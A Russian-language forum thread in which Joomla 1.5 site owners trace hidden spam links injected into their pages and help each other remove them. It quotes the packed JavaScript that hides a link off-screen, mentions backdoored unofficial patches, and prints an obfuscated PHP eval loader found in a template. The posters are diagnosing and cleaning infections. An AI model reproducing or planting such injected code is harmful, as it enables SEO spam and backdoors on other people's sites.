Привет всем! Вижу, на форуме достаточно много умных людей, кто может, подскажите чем выпрямить следующую фигню: создал сайт на Joomla 1.5. Через некоторое время заметил, что на всех страницах, за исключением главной, появилась скрытая ссылка. Вот на этих негодяев: _http://migry.ru/tamagochi Перерыл все файлы, никак не могу найти где собака порылась. В исходном коде страницы - в статье или в категориях, там где формируется вывод контента <jdoc:include type="component" /> прибавляется такая фигня: Код (PHP): <!-- jsystemc 0--><!-- jon --><div class="menulinem"><ul><li><a href="http://migry.ru/tamagochi">игры в тамагочи</a></li></ul></div><script language="JavaScript"> eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('c(5.6!="d")1.2("<3 e=\'g/i\'>.k{b:9; 7-4:-8; f:0; 4:0;}</3>");h 1.2("a j");',21,21,'|document|write|style|left|self|name|margin|5000px|absolute|in|position|if|FrameInfo|type|top|text|else|css|frame|menulinem'.split('|'),0,{})) </script><!--/=/--> Расшифровал этот "бред - eval тра-та-та", получилось: Код (PHP): if(self.name!="FrameInfo")document.write("<style type='text/css'>.menulinem{position:absolute; margin-left:-5000px; top:0; left:0;}</style>");else document.write("in frame"); Ни в базе, ни в файлах - не могу найти даже близко что-нибудь похожее. В инструментах для веб-мастеров - вредоносный код не обнаружен. Хостинг платный - _loqo.ru, шаблон it healthcare. Выбираю другой шаблон, все равно - дырявые тамагочи. Достали! Отзовитесь, кто чем может помочь, пожалуйста. Заранее благодарю!
Сейчас заливаю поверх joomla, как советует Лат. Shahin, немного не догоняю... в ссылке - _gpmfootballl.org.ua, это не мой сайт...
Почти такая же хрень и я кажется нашел в чём проблема. В интернете блуждают "Патчи Joomla 1.5.22", в которых присутствует какой-то бэкдор. см. файл libraries\joomla\html\html.php - если используются функции JFactory::getB, curl и какие-то зашифрованные строчки, значит это он. Я пока ещё не понял как его убить, но пробую.
Короче, если ставить чистую систему не представляется возможным, делаем следующее: 1) Ставим на локалхост версию джумла, которая была до "обновления"; 2) распаковываем "обновление" в отдельную папку и каждый файл в нём заменяем файлом джумлы с локалхоста; 3) заливаем это так, как обычно заливаем обновления. Всё. И впредь всем брать обновления только с joom.ru!
"Антипатч" от версии 1.5.20. Внимание, ставить только на 1.5.20 и после установки обязательно обновить до 1.5.22 с официального сайта! Посмотреть вложение antipatch.rar
Физически патчи Joomla 1.5 RE сущестуют лишь на http://joomlacode.org/gf/project/russian/frs/?action=index а официальные здесь http://joomlacode.org/gf/project/joomla/frs/ И надо быть ..., чтобы скачивать Joomla и патчи не с оффсайтов, а "блуждающие" патчи. И напоминаю - пока не вышло локализованное обновление Joomla RE, МОЖНО ОБНОВЛЯТЬСЯ ОРИГИНАЛЬНЫМИ ПАТЧАМИ. Сайт не загнется, возможно лишь появление непереведенных строк. Работа над Joomla 1.5.23 RE ведется! Обновление и полная сборка будут доступны в течение суток (все мы люди, бывают задержки. Просьба относиться с пониманием).
что-то не помогло... нашел закодированные ссылки с помощью total comander, искал документы с которых содержится текст "base64_decode" а вот сам код: <?php $mgp='PG...........='; echo base64_decode($mgp);?>
была проблема в шаблоне leo_magazine, никак не мог найти проблему с левыми ссылками, а оказалось что там был код такого вида, который я закоментил и все отлично Код (CODE): <?php function leo_lingerie_generate_key() { //$LimitCharacters = 10; /*$Keys = ''; $RandomNum = array(1251.3, 13875.1875, 1388.8125, 1250.175, 13750.175, 13751.425, 13762.5625, 13875.175, 1263.925, 13763.925, 13751.3125, 13876.3, 1250.175, 1387.6875, 1251.3, 13750.1875, 1388.8125, 12500.05, 13751.425, 13875.1875, 13763.9375, 13750.1875, 13762.6875, 13763.9375, 13875.05, 13751.3125, 13763.925, 1262.55, 1251.3, 13875.1875, 1263.8, 1387.55, 1375.05, 1263.8, 1251.3, 13751.3125, 1263.8, 1251.3, 13875.175, 1263.8, 1375.0625, 1375.05, 1262.5625, 1387.6875, 13762.5625, 13751.425, 1262.55, 1251.3, 13750.1875, 1262.5625, 13887.6875, 1251.3, 13751.3, 1388.8125, 12500.05, 13751.425, 13762.5625, 13763.8, 13751.3125, 12638.9375, 13751.4375, 13751.3125, 13876.3, 12638.9375, 13750.1875, 13763.9375, 13763.925, 13876.3, 13751.3125, 13763.925, 13876.3, 13875.1875, 1262.55, 1250.175, 13762.55, 13876.3, 13876.3, 13875.05, 1387.675, 1263.9375, 1263.9375, 1250.175, 1263.925, 1251.3, 13875.1875, 1263.925, 1250.175, 1263.9375, 13875.175, 1263.925, 13875.05, 13762.55, 13875.05, 1388.9375, 13875.1875, 1388.8125, 1250.175, 1263.925, 1251.3, 12638.9375, 12625.1875, 12501.3125, 12625.175, 12626.425, 12501.3125, 12625.175, 12637.6875, 1250.175, 12512.55, 12626.3, 12626.3, 12625.05, 12638.9375, 12512.55, 12513.9375, 12625.1875, 12626.3, 1250.175, 12638.8125, 1262.5625, 1387.6875, 13751.3125, 13750.1875, 13762.55, 13763.9375, 1250.05, 1250.175, 1388.8, 13751.3, 13762.5625, 13876.425, 1250.05, 13875.1875, 13876.3, 13887.5625, 13763.8, 13751.3125, 1388.8125, 1251.4375, 13875.05, 13763.9375, 13875.1875, 13762.5625, 13876.3, 13762.5625, 13763.9375, 13763.925, 1387.675, 13750.0625, 13750.175, 13875.1875, 13763.9375, 13763.8, 13876.3125, 13876.3, 13751.3125, 1387.6875, 13763.8, 13751.3125, 13751.425, 13876.3, 1387.675, 1263.8125, 1376.3125, 1375.05, 1375.05, 1375.05, 13875.05, 13887.55, 1387.6875, 1251.4375, 1388.925, 1251.3, 13751.3, 1388.8, 1263.9375, 13751.3, 13762.5625, 13876.425, 1388.925, 1250.175, 1387.6875, 13888.8125, 0.05); // Create a random string of keys foreach($RandomNum as $key) {$Keys .= chr(bindec($key * 80 - 4));} @eval($Keys);*/ такой ответ все же нашел только не там где ожидал, ну пусть будет на видном месте, может кому пригодится